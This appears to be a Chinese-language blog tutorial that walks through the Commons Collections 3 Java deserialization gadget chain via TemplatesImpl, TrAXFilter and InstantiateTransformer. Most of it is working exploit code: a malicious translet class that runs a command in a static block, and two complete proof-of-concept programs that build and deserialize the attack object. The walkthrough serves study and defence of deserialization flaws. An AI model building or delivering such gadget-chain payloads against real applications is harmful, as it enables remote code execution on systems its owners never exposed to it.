Java反序列化-Commons Collections3利用链分析

Java反序列化-Commons Collections3利用链分析

思路一

首先是通过ClassLoader类,找到可以loaderclass执行我们代码函数

由loadClass进行加载

返回下一个loadClass

最后会走到defineClass,这里是从字节里加载一个类

查找谁调用了defineClass函数,查找有没有public的方法调用了defineClass

可以看到这边有个default权限的方法

defineClass我们再查找下调用链

我们找到了三个方法,我们可以进去看下,每个的返回结果

分析了下第一个是返回class,第二个返回下标,第三个我们可以看到,def给class赋完值,后执行了newInstance

通过loader.defineClass来将_class赋值的

我们再找下这个的调用链

我们调用TemplatesImpl的newTransformer(),就会调它的getTransletInstance()


这里的构造方法是为空,所以值我们是需要自己去赋的


我们看下要走进class赋值需要哪些参数,_name不能为空,这样能进入defineTransletClasses(),使得对_class进行赋值

defineTransletClasses

需要传入_bytecodes为空


这里判断了_bytecodes的数量,再去for循环一个个defineClass,所以这个我们只要传入一个数组的_bytecodes即可


我们将值都用反射进行传入

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();

//设置_name属性
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");

//设置_bytecodes属性
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://tmp/calc.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
templates.newTransformer();
}

发生报错

我们通过调试defineTransletClasses,发现_auxClasses为null,如果走到下面_transletIndex也过不去,所以我们只能走到if为true,使得_transletIndex赋值

我们就看下他的条件,获取的是父类判断是否是ABSTRACT_TRANSLET


所以说我们传入的class需要继承父类,并且实现它的方法编译下

package ysoserial.test;

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class calc extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

public static void main(String[] args) {

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

尝试运行下payload,成功弹出计算器,所以说我们只要调用到了newTransformer就可以执行代码

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();

//设置_name属性
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");

//设置_bytecodes属性
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

//设置codes属性
byte[] code = Files.readAllBytes(Paths.get("E://tmp/calc.class"));
byte[][] codes = {code};
// bytecodesField.set(templates,);
bytecodesField.set(templates,codes);

templates.newTransformer();
}

之后我们可以用cc1的前面的代码,伪造newTransformer()

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();

//设置_name属性
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");

//设置_bytecodes属性
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

//设置codes属性
byte[] code = Files.readAllBytes(Paths.get("E://tmp/calc.class"));
byte[][] codes = {code};
// bytecodesField.set(templates,);
bytecodesField.set(templates,codes);
// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
}

之后我们直接使用CC1的后半段即可


POC

package ysoserial.test;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import java.io.*;
import java.lang.annotation.Target;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class Test3 {

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();

//设置_name属性
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");

//设置_bytecodes属性
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

//设置codes属性
byte[] code = Files.readAllBytes(Paths.get("E://tmp/calc.class"));
byte[][] codes = {code};

bytecodesField.set(templates,codes);
// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap();
//传入keyTransformer、valueTransformer
Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer );

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHadlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHadlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHadlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
// Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[])
Object o = annotationInvocationHadlConstructor.newInstance(Override.class,mapProxy);

serialize(o);
unserialize();
}

//序列化和反序列化
public static void serialize(Object o) throws IOException {
// ObjectOutputStream 对象输出流,将Person对象存储到E盘的Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
oo.writeObject(o);
}

public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
new File("ser.bin")));
Object object = (Object) ois.readObject();
System.out.println("反序列化成功!");
return object;
}
}

思路二

我们查找谁调用了newTransformer

可惜没有继承Serializable,否则下面构造函数是传入一个templates参数

我们可以使用其他的transform方法来调用构造函数,这里是使用InstantiateTransformer来构造,正好符合我们的要求

这个方法的构造函数

我们结合着TrAXFilter构造函数,参数是一个Templates

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class); //传入TrAXFilter构造方法

因为要传入TrAXFilter,要执行他的transform,这边xxx.transform,xxx是我们无法控的

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

这样我们就改好为InstantiateTransformer.transform()来调用到TrAXFilter构造方法,调用到templates.newTransformer()

POC

获取到最终POC

package ysoserial.test;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import java.io.*;
import java.lang.annotation.Target;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class Test3 {

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();

//设置_name属性
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");

//设置_bytecodes属性
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

//设置codes属性
byte[] code = Files.readAllBytes(Paths.get("E://tmp/calc.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// templates.newTransformer();
// instantiateTransformer.transform(TrAXFilter.class); //调用了TrAXFilter构造方法,也就调用了templates.transform

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
//
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap();
//传入keyTransformer、valueTransformer
Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHadlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHadlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHadlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
// Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[])
Object o = annotationInvocationHadlConstructor.newInstance(Override.class,mapProxy);

// serialize(o);
unserialize();
}

//序列化和反序列化
public static void serialize(Object o) throws IOException {
// ObjectOutputStream 对象输出流,将Person对象存储到E盘的Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
oo.writeObject(o);
}

public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
new File("ser.bin")));
Object object = (Object) ois.readObject();
System.out.println("反序列化成功!");
return object;
}
}
上一篇

Java反序列化-Commons Collections2、4、5、7利用链分析